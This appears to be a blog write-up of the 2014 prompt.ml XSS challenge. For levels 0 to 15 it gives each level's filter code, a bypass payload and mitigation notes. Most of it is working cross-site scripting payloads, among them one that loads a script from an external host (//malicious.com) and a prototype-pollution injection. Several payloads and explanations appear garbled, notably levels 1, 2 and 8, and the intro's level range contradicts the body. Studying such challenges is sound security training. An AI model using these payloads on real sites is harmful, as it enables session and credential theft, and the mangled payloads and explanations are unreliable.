The Prompt.ml XSS Challenge, held in the summer of 2014, is a legendary 16-level gauntlet (with 4 additional hidden levels) that tested participants’ XSS (Cross-Site Scripting) skills. Each level introduced unique filters and constraints, requiring clever tricks to bypass them and execute the essential prompt(1)
payload. This blog post dives into the solutions for Levels 0 through 6, providing both code and solution explanations.
Challenge Overview
Participants needed to craft XSS payloads that:
- Executed
prompt(1)
without user interaction. - Rendered in at least one major browser: Chrome, Firefox, or Internet Explorer (IE10+).
- Were as short as possible.
Level 0: The Warm-Up
Vulnerable Code
function escape(input) {
return '<input type="text" value="' + input + '">';
}
This level accepts user input and places it into an HTML input element without any sanitization. The goal is to inject executable JavaScript.
Solution
- Payload:
"><svg/onload=prompt(1)>
- Inserts an SVG element with an
onload
event that triggersprompt(1)
. - Works in most browsers.
- Inserts an SVG element with an
- IE-Specific Payload:
"onresize=prompt(1)>
- Exploits IE10’s
resize
event, which fires for almost any markup element.
- Exploits IE10’s
Background
The onresize
event is unique to older IE versions, allowing XSS without typical user interaction.
Level 1: Stripping Tags
Vulnerable Code
function escape(input) {
var stripTagsRE = /</?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
This function removes HTML tags but fails to handle inline event attributes.
Solution
Payload: <svg/onload=prompt(1)
- Appends a space to bypass tag stripping and executes the
onload
handler.
Background
No special browser-specific quirks here—a standard SVG vector suffices.
Level 2: Blocking Parentheses and Equals
Vulnerable Code
function escape(input) {
input = input.replace(/[=(]/g, '');
return input;
}
Parentheses ((
) and equals (=
) are stripped, complicating traditional XSS payloads.
Solution
- Firefox/MSIE Payload:
<svg><script>prompt(1)<b>
- Uses HTML entity
(
for(
.
- Uses HTML entity
- Chrome-Specific Payload:
<svg><script>prompt(1)</script>
- Adds a closing
</script>
for compatibility.
- Adds a closing
Background
SVGs and HTML entities are invaluable for crafting bypasses. The payload exploits how browsers decode entities within <script>
tags.
Level 3: Breaking Out of Comments
Vulnerable Code
function escape(input) {
input = input.replace(/->/g, '_');
return '<!-- ' + input + ' -->';
}
The function removes potential comment delimiters (-->
) to prevent script execution.
Solution
Payload: --!><svg/onload=prompt(1)
- Uses the alternate comment terminator
--!>
to escape the comment block.
Background
The HTML5 specification allows --!>
as a valid comment closer, despite it being unconventional.
Level 4: Exploiting DecodeURIComponent
Vulnerable Code
function escape(input) {
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
The code ensures scripts originate from the prompt.ml
domain. However, it decodes input using decodeURIComponent
, enabling bypasses via obfuscation.
Solution
- Payload:
//prompt.ml%2f@example.com/test.js
%2f
decodes to/
, tricking the function into treatingexample.com
as part of the authentication header.
- Optimized Payload (17 chars):
//prompt.ml%2f@⒕₨
- Uses Unicode characters that resolve to required domain components.
Background
This solution highlights quirks in URL decoding and Unicode transformations.
Level 5: Bypassing Attribute Filters
Vulnerable Code
function escape(input) {
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
The function blocks event handlers and closing brackets (>
), but fails to handle multi-line input or alternate event attributes.
Solution
- Image Input Payload:
"type=image src onerror="prompt(1)
- Converts the element into an image input and uses
onerror
to execute JavaScript.
- Converts the element into an image input and uses
- MSIE-Specific Payload:
"onresize="prompt(1)
- Exploits
onresize
for a shorter vector.
- Exploits
Background
This level emphasizes the pitfalls of regular expression-based filters and the versatility of event attributes.
Level 6: DOM Clobbering
Vulnerable Code
function escape(input) {
if (/javascript|vbscript|data:/gi.test(input)) {
return 'Invalid input.';
}
return '<form action="' + input + '"></form>';
}
Filters block dangerous schemes like javascript:
, but fail to prevent DOM clobbering.
Solution
Payload: <input name=action onfocus=prompt(1)>
- Clobbers the form’s
action
property by introducing an input element with the same name. - Executes
prompt(1)
when the input gains focus.
Background
DOM clobbering exploits how browsers associate form properties with input elements, allowing attackers to override critical attributes.
Level 7
Vulnerable Code:
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
Explanation: The function splits the input into segments separated by the #
character and limits each segment to 12 characters, wrapping them in a <p>
tag. There is no sanitization of input, allowing manipulation of the generated HTML structure.
Payload:
"><svg/a="onload='/*"><p class="comment" title="*/prompt(1)'">
Solution Explanation:
- Use proper HTML-encoding for user inputs before rendering them in the DOM.
- Replace dangerous characters like
<
,>
, and"
with their HTML entity equivalents (<
,>
,"
).
Level 8
Vulnerable Code:
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
Explanation: The function attempts to strip dangerous characters from the input, but it fails to account for Unicode line and paragraph separators, which are valid in JavaScript.
Payload:
<script>
// console.log(
prompt(1)
-->
</script>
Solution Explanation:
- Sanitize the input by explicitly escaping Unicode line and paragraph separators.
- Use a library such as DOMPurify to sanitize input before embedding it into a script.
Level 9
Vulnerable Code:
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
return '<h1>' + input + '</h1>';
}
Explanation: The toUpperCase()
method converts certain Unicode characters to ASCII characters (e.g., ſ becomes “S”). This behavior can be exploited to bypass the regular expression that filters start-tags.
Payload:
<ſscript/src=//malicious.com></script>
Solution Explanation:
- Implement a stricter regular expression that includes Unicode equivalence.
- Use a white-list approach to allow only safe characters and tags.
Level 10
Vulnerable Code:
function escape(input) {
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
input = input.replace(/'/g, '');
return '<script>' + input + '</script> ';
}
Explanation: The function replaces dangerous keywords like prompt
and strips single quotes, but a split keyword (pr'ompt
) is reassembled after the removal of the single quote.
Payload:
pr'ompt(1)
Solution Explanation:
- Use a strict white-list to validate input rather than blacklisting keywords or characters.
- Avoid rendering unsanitized input directly into executable code.
Level 11
Vulnerable Code:
function escape(input) {
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
Explanation: The input is heavily filtered but fails to restrict alphanumeric operators such as in
, which can be used to concatenate malicious payloads.
Payload:
"(prompt(1))in"
Solution Explanation:
- Use JSON parsing (
JSON.parse
) to validate data instead of concatenating raw strings. - Reject inputs containing unusual operators or sequences.
Level 12
Vulnerable Code:
function escape(input) {
input = encodeURIComponent(input).replace(/'/g, '');
input = input.replace(/prompt/g, 'alert');
return '<script>' + input + '</script> ';
}
Explanation: The use of encodeURIComponent
encodes most special characters but leaves some (like .
and ()
), which can be exploited using JavaScript’s toString
method with a numeric base.
Payload:
eval(630038579..toString(30))(1)
Solution Explanation:
- Avoid using
eval
or similar functions. - Properly escape and validate all user inputs before rendering them in executable contexts.
- Use libraries like DOMPurify to ensure sanitized script contexts.
Level 13
Goal: The goal is to tamper with a JSON object (config) containing a source
key and bypass limitations using exotic techniques such as leveraging __proto__
.
Vulnerable Code:
function escape(input) {
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
try {
var data = JSON.parse(input);
var config = extend({
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
var source = config.source.replace(/"/g, '');
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
Vulnerable Code Explanation:
- The
extend
function merges the provided object with the default configuration, potentially introducing malicious properties. - A regex checks
config.source
for invalid characters, deleting it if found. - If
config.source
is deleted, the accessor property__proto__
is exploited to provide an alternatesource
value. - The
String.replace
method is used to sanitize thesource
, but the replacement patterns allow for bypasses.
Payload:
{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`onerror=prompt(1)>"}}
Explanation of Payload:
- The
source
key contains an invalid value, triggering deletion. - The
__proto__
property sets a fallbacksource
value to the payload. - The
$
special pattern inString.replace
inserts the remainder of the string, enabling payload injection.
Solution Explanation:
- Use
Object.create(null)
to ensure no inheritance fromObject.prototype
. - Replace unsafe
JSON.parse
with strict parsing techniques or a dedicated sanitization library.
Level 14
Goal: Craft a payload that works despite forced capitalization, limited URI schemes, and restricted characters.
Vulnerable Code:
function escape(input) {
input = input.toUpperCase();
input = input.replace(/\/\/|\w+:/g, 'data:');
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
Vulnerable Code Explanation:
- All input is converted to uppercase.
- Only
data:
URIs are allowed; other schemes are replaced. - Several special characters are stripped or replaced, limiting traditional encoding methods.
Payload:
"><iframe/src="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4="
Explanation of Payload:
- Uses a
data:
URI scheme with a base64-encoded payload. - Encoded payload translates to a valid script execution in uppercase.
Solution Explanation:
- Implement stricter input validation and ensure base64 decoding does not inadvertently introduce executable scripts.
- Restrict the
data:
scheme to only allow specific MIME types, such asimage/
.
Level 15
Goal: Exploit the behavior of splitting and shortening input segments, avoiding JS comments and using HTML comments for injection.
Vulnerable Code:
function escape(input) {
input = input.replace(/\*/g, '');
var segments = input.split('#');
return segments.map(function(title, index) {
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment='{"id":' + index + '}'></p>';
}).join('\n');
}
Vulnerable Code Explanation:
- Input is split into segments by
#
and shortened to 15 characters. - Segments are wrapped in HTML
<p>
tags, introducing a potential injection point. - No proper escaping of input within attributes.
Payload:
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
Explanation of Payload:
- Leverages HTML comments (
<!--
) to hide excess characters and maintain injection flow. - Uses
<svg>
and<script>
tags for executing JavaScript.
Solution Explanation:
- Sanitize all input to escape special characters such as
<
,>
, and"
. - Use a library like DOMPurify to prevent injection attacks.